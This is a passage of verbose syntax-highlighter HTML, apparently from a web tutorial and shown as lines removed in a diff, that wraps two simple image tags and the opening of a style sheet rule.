inherit !important; color: rgb(0, 0, 0) !important;">&lt;</code><code class="keyword" style="font-style: normal !important; font-weight: bold !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 102, 153) !important;">image</code> <code class="color1" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(128, 128, 128) !important;">id</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">=</code><code class="string" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: blue !important;">"image1"</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">/&gt;</code></td> </tr> </tbody>
-</table>
-</div>
-<div class="line alt1" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; color: rgb(175, 175, 175) !important;"><code style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0.3em !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: right !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 2.7em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; display: block !important;">3</code></td> <td class="content" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0.5em !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 3px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; border-left-style: solid !important; color: rgb(0, 0, 0) !important;"><code class="spaces" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important;"> </code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">&lt;</code><code class="keyword" style="font-style: normal !important; font-weight: bold !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 102, 153) !important;">image</code> <code class="color1" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(128, 128, 128) !important;">id</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">=</code><code class="string" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: blue !important;">"search"</code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">/&gt;</code></td> </tr> </tbody>
-</table>
-</div>
-</div>
-</div>
-<div class="syntaxhighlighter " id="highlighter_60346" style="margin-top: 1em !important; margin-right: 0px !important; margin-bottom: 1em !important; margin-left: 0px !important; padding-top: 1px !important; padding-right: 1px !important; padding-bottom: 1px !important; padding-left: 1px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: relative !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 1146px; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<div class="lines" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<div class="line alt1" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; color: rgb(175, 175, 175) !important;"><code style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0.3em !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: right !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 2.7em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; display: block !important;">1</code></td> <td class="content" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0.5em !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 3px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; border-left-style: solid !important; color: rgb(0, 0, 0) !important;"><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">Style Sheet:</code></td> </tr> </tbody>
-</table>
-</div>
-<div class="line alt2" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(248, 248, 248) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; color: rgb(175, 175, 175) !important;"><code style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0.3em !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: right !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 2.7em !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; display: block !important;">2</code></td> <td class="content" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0.5em !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 3px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important; border-left-style: solid !important; color: rgb(0, 0, 0) !important;"><code class="spaces" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important;"> </code><code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">#image</code><code class="value" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 153, 0) !important;">1</code> <code class="plain" style="font-style: normal !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; min-height: inherit !important; color: rgb(0, 0, 0) !important;">{</code></td> </tr> </tbody>
-</table>
-</div>
-<div class="line alt1" style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: rgb(255, 255, 255) !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;">
-<table style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <tbody> <tr style="margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: baseline !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: auto !important; line-height: 1.1em !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-style: normal !important; font-size: 1em !important; min-height: inherit !important;"> <td class="number" style="padding-top: 0px !important; padding-right: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-width: 0px !important; border-right-width: 0px !important; border-bottom-width: 0px !important; border-left-width: 0px !important; border-style: initial !important; border-color: initial !important; outline-color: initial !important; background-clip: initial !important; background-color: initial !important; text-align: left !important; float: none !important; vertical-align: top !important; position: static !important; left: auto !important; top: auto !important; right: auto !important; height: auto !important; width: 3em !important; line-height: 1.1em !important; font-family: Consolas, 